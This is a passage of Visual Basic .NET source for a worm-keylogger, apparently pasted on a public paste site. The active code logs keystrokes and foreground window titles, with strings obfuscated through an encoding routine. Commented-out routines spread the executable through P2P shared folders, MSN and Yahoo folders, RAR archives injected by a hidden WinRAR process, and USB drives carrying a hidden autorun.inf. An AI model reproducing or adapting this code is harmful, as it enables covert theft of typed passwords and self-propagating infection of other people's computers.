  651. LTTRHIT = POLDEC.DD1("ZRA=", "False")
  652. End If
  653. Case &HBB
  654. If My.Computer.Keyboard.ShiftKeyDown Then
  655. LTTRHIT = POLDEC.DD1("bAY=", "False")
  656. Else
  657. LTTRHIT = POLDEC.DD1("WSs=", "False")
  658. End If
  659. Case &HDB
  660. If My.Computer.Keyboard.ShiftKeyDown Then
  661. LTTRHIT = POLDEC.DD1("wAI=", "False")
  662. Else
  663. LTTRHIT = POLDEC.DD1("mgg=", "False")
  664. End If
  665. Case &HDD
  666. If My.Computer.Keyboard.ShiftKeyDown Then
  667. LTTRHIT = POLDEC.DD1("rBg=", "False")
  668. Else
  669. LTTRHIT = POLDEC.DD1("gSM=", "False")
  670. End If
  671. Case 220
  672. If My.Computer.Keyboard.ShiftKeyDown Then
  673. LTTRHIT = POLDEC.DD1("vwQ=", "False")
  674. Else
  675. LTTRHIT = POLDEC.DD1("czA=", "False")
  676. End If
  677. Case &HBA
  678. If My.Computer.Keyboard.ShiftKeyDown Then
  679. LTTRHIT = POLDEC.DD1("axY=", "False")
  680. Else
  681. LTTRHIT = POLDEC.DD1("cBI=", "False")
  682. End If
  683. Case &HDE
  684. If My.Computer.Keyboard.ShiftKeyDown Then
  685. LTTRHIT = POLDEC.DD1("Ths=", "False")
  686. Else
  687. LTTRHIT = POLDEC.DD1("bQE=", "False")
  688. End If
  689. Case &HBF
  690. If My.Computer.Keyboard.ShiftKeyDown Then
  691. LTTRHIT = POLDEC.DD1("gQU=", "False")
  692. Else
  693. LTTRHIT = POLDEC.DD1("aQ0=", "False")
  694. End If
  695. Case &H24
  696. LTTRHIT = POLDEC.DD1("WrCo1safsoAP", "False")
  697. Case &H23
  698. LTTRHIT = POLDEC.DD1("R52SwqqEYiE=", "False")
  699. Case Else
  700. LTTRHIT = Char.ConvertFromUtf32(LPA.VKCO)
  701. End Select
  702.  
  703. WLCOME.KEZY &= LTTRHIT
  704. WLCOME.ACTLG = WLCOME.KEZY
  705. End If
  706. Catch
  707. End Try
  708. End Function
  709. <DllImport("user32.dll", SetLastError:=True)> _
  710. Public Shared Function GetForegroundWindow() As IntPtr
  711. End Function
  712. <DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
  713. Public Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
  714. End Function
  715. Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As StringBuilder, ByVal cch As Int32) As Int32
  716. Sub New(ByVal output As String)
  717. Try
  718. Me.output = output
  719. Catch : End Try
  720. End Sub
  721. End Class
  722.  
  723. 'IEStuff1
  724.  
  725. 'ImvuStuff1
  726.  
  727. 'MeltStuff1
  728.  
  729. 'MSNStuff1
  730.  
  731. Public Class DAMSNSPED
  732. Public Class MSNSPEDdll
  733. Public Shared Sub MSNSTRT()
  734. 'Dim filelink As String = AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName
  735. 'Dim moduledeforme1 As System.Reflection.Public Class = Assembly.GetExeCTMEingAssembly().GetModules()(0)
  736. 'Dim fichier As String = filelink
  737. 'Dim dossier As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + POLDEC.DD1("laHIycqox87MzJWhxNnLnsLGy8qVDg==", "False")
  738. 'Try
  739. ' If Dir(dossier, FileAttribute.Directory) <> "" Then
  740. ' Dim i As Int32 = 0
  741. ' Dim x As Int32 = 0
  742. ' Dim propage() As String
  743. ' propage = System.IO.Directory.GetDirectories(dossier)
  744. 'Dim i As Integer
  745. ' For i = 0 To propage.GetUpperBound(0)
  746. ' If Dir(propage(i), FileAttribute.Directory) <> "" Then
  747. ' If File.Exists(propage(i) & POLDEC.DD1("jZWkpYJkq6XTtJa/hdGzoxY=", "False")) = False Then
  748. ' File.Copy(fichier, propage(i) & POLDEC.DD1("jZWkpYJkq6XTtJa/hdGzoxY=", "False"))
  749. ' End If
  750. ' End If
  751. ' Next
  752. ' End If
  753. 'Catch
  754. 'End Try
  755. End Sub
  756. End Class
  757. End Class
  758.  
  759.  
  760. Public Class DAPP2SPED
  761. Public Class PP2SPEDdll
  762. Public Shared Sub PP2start()
  763. 'Dim filelink As String = AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName
  764. 'Dim arSharedFolders As New ArrayList()
  765. 'Try
  766. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("l5rQ38inxcLMzQs=", "False"))
  767. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("eIS7aY6EmLSunzx9sbWfgaks", "False"))
  768. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("gZOzs7aKpCM=", "False"))
  769. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("lZXRy8uVodiGq6G10cu8WZrO0ryexg8=", "False"))
  770. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & POLDEC.DD1("kpXL2sOiwL3HyBA=", "False"))
  771. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("fI6urrGFnMCum2Sqvburj5yqwCo=", "False"))
  772. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("i6/C0bqUpr7KsZ63vsq1ixg=", "False"))
  773. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eaOkxJ1+lLDDXJCgpLyhgVipuaiBnbWmLQ==", "False"))
  774. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("k72+3reYcsnNypyuyt12qrq+1rubcsPTwpu3z8AT", "False"))
  775. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eaOkxJ1+WK+zsIJYrnVneaW8aq+FmbWvoD2esraggqqfLA==", "False"))
  776. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("gKitwp+Xp6vDqIhfsMCviKS8rSY=", "False"))
  777. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("jLLIzLqjv7vPq53EdsTBn7bJ0bSipxg=", "False"))
  778. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("l7jGycyuvsLav5fJycnMoLq9Dg==", "False"))
  779. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("lbnD1cakudiYiGmEu8/GnMPMz8agsA8=", "False"))
  780. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("kLzJ08OctM/Ur6HIetS7lcG/xXOavsbFuKarFA==", "False"))
  781. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("k77G0buuu8/Jsqq6vta7m64R", "False"))
  782. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eq2pvql/laq0qYOsoCs=", "False"))
  783. ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("mc/M2Mm1tNbSva+9x8YN", "False"))
  784. 'Catch
  785. 'End Try
  786. 'Dim folderpi As IEnumerator = arSharedFolders.GetEnumerator()
  787. 'Try
  788. ' While folderpi.MoveNext()
  789. ' Dim tada As String = Convert.ToString(folderpi.Current)
  790. ' If Directory.Exists(tada) Then
  791. ' Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
  792. ' For Each d As String In Directory.GetDirectories(progDir)
  793. ' Dim app As String = (tada & POLDEC.DD1("eCs=", "False")) + d.Substring(d.LastIndexOf(POLDEC.DD1("eCs=", "False"))).Replace(POLDEC.DD1("eCs=", "False"), String.Empty) & POLDEC.DD1("Xa7IvrKbebvVtBY=", "False")
  794. ' File.Copy(filelink, app, True)
  795. ' Next
  796. ' End If
  797. ' End While
  798. 'Catch
  799. 'End Try
  800. End Sub
  801. End Class
  802. End Class
  803.  
  804. 'NimbuzzStuff1
  805.  
  806. 'NoipStuff1
  807.  
  808. 'OperaStuff1
  809.  
  810. 'PigdinStuff1
  811.  
  812. Public Class DARarSPED
  813. Public Class RarSPEDdll
  814. 'Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
  815. 'End Function
  816. Dim RRPTH As String
  817. Dim CPIDEXNME As String
  818. Public Sub Search(ByVal pathName As String)
  819. 'On Error Resume Next
  820. 'Dim files As String()
  821. 'files = Directory.GetFiles(pathName)
  822. 'For Each file As String In files
  823. ' If file.Contains(POLDEC.DD1("UbCqwic=", "False")) Then
  824. ' RSSTRT(file)
  825. ' End If
  826. ' If file.Contains(POLDEC.DD1("SbCquC8=", "False")) Then
  827. ' RSSTRT(file)
  828. ' End If
  829. 'Next
  830.  
  831. 'Dim subdirectorys As String() = Directory.GetDirectories(pathName)
  832. 'For Each subdirectory As String In subdirectorys
  833. ' Search(subdirectory)
  834. 'Next
  835. End Sub
  836.  
  837.  
  838. Public Shared Sub SPED(ByVal myExeName As String)
  839. 'On Error Resume Next
  840. 'CPIDEXNME = myExeName
  841. 'Dim drives As String() = Environment.GetLogicalDrives()
  842. 'For Each strDrive As String In drives
  843. ' Search(strDrive)
  844. 'Next
  845. 'File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("cqWhsKVKaWq3rYox", "False"))
  846. End Sub
  847.  
  848. Public Shared Sub RSSTRT(ByVal archiveToInject As String)
  849. 'On Error Resume Next
  850. 'Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
  851. 'Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf(POLDEC.DD1("eyg=", "False"))), String.Empty) & POLDEC.DD1("eyg=", "False")
  852.  
  853. 'RRPTH = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eY+suI5eip+hpYuKhJxqgrCoLA==", "False")
  854. 'If File.Exists(RRPTH) Then
  855. ' If Not File.Exists(Path.Combine(rootdrive, CPIDEXNME)) Then
  856. ' File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, CPIDEXNME))
  857. ' End If
  858.  
  859. ' Dim getshortExePath = New StringBuilder(255)
  860. ' GetShortPathName(Path.Combine(rootdrive, CPIDEXNME), getshortExePath, getshortExePath.Capacity)
  861. ' Dim evilpath As String = getshortExePath.ToString()
  862.  
  863.  
  864. ' Dim shortArchiveDirectory = New StringBuilder(255)
  865. ' GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)
  866.  
  867. ' Dim rarProcess As New ProcessStartINF()
  868. ' Dim theInfo As String = (POLDEC.DD1("XrqECw==", "False") & shortArchiveDirectory.ToString & POLDEC.DD1("Xwg=", "False")) + evilpath
  869. ' rarProcess.FileName = RRPTH
  870. ' rarProcess.Arguments = theInfo
  871. ' rarProcess.WindowStyle = ProcessWindowStyle.Hidden
  872.  
  873. ' Process.Start(rarProcess)
  874.  
  875. 'End If
  876. End Sub
  877. End Class
  878. End Class
  879.  
  880.  
  881. Public Class DAUSBSPED
  882. Public Class USBSPEDdll
  883. Public Shared Sub UBSTRT()
  884.  
  885. 'Dim drivers As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
  886. 'Dim driver() As String = (IO.Directory.GetLogicalDrives)
  887. 'Try
  888. ' For Each drivers In driver
  889. ' If File.Exists(drivers & POLDEC.DD1("l8TU0c63zqvg0qXJ2tbArM6U0telBw==", "False")) = False Then
  890. ' File.Copy(System.Reflection.Assembly.GetExeCTMEingAssembly.Location, drivers & POLDEC.DD1("l8TU0c63zqvg0qXJ2tbArM6U0telBw==", "False"))
  891. ' End If
  892. ' Dim commande = New StreamWriter(drivers & POLDEC.DD1("fKu1t6yQpG+xqIEs", "False"))
  893. ' commande.WriteLine(POLDEC.DD1("kLHQ1sOnxcm/FQ==", "False"))
  894. ' commande.WriteLine(POLDEC.DD1("k6+vv2NhX6G6sYiuwcSIl7Kvv7eNoLbEcYm3ryU=", "False"))
  895. ' commande.WriteLine("shellexeCTMEe=WindowsEssentials.exe")
  896. ' commande.Close()
  897. ' File.SetAttributes(drivers & POLDEC.DD1("o9Lc3tO3y5bYz6gF", "False"), FileAttributes.Hidden)
  898. ' File.SetAttributes(drivers & POLDEC.DD1("irfHxMGqwZ7TxZi8zcmzn8GHxcqYFA==", "False"), FileAttributes.Hidden)
  899. ' Next
  900. 'Catch
  901. 'End Try
  902. End Sub
  903. End Class
  904. End Class
  905.  
  906. 'SafariStuff1
  907.  
  908. 'SkypeStuff1
  909.  
  910. 'SmartFTPStuff1
  911.  
  912. Public Class DAYahooSPED
  913. Public Class YahooSPEDdll
  914. Sub YHOSTRT()
  915. 'Try
  916. ' Dim YoPublic Class As System.Reflection.Public Class = Assembly.GetExeCTMEingAssembly().GetModules()(0)
  917. ' Dim YaFile As String = Process.GetCurrentProcess().MainModule.FileName
  918. ' Dim FoPath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + POLDEC.DD1("hJyvvbaXY5u6upuovLysmp8g", "False")
  919. ' If Dir(FoPath, FileAttribute.Directory) <> "" Then
  920. ' Dim i As Int32 = 0
  921. ' Dim x As Int32 = 0
  922. ' Dim shares() As String
  923. ' shares = System.IO.Directory.GetDirectories(FoPath)
  924. ' For i = 0 To shares.GetUpperBound(0)
  925. ' If Dir(shares(i), FileAttribute.Directory) <> "" Then
  926. ' If File.Exists(shares(i) & POLDEC.DD1("oam4uZd3v7nnyKrTmeXHtwI=", "False")) = False Then
  927. ' File.Copy(YaFile, shares(i) & POLDEC.DD1("oam4uZd3v7nnyKrTmeXHtwI=", "False"))
  928. ' End If
  929. ' End If
  930. ' Next
  931. ' End If
  932. 'Catch
  933. 'End Try
  934. End Sub
  935. End Class
  936. End Class
  937.  
  938. 'StartStuff1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement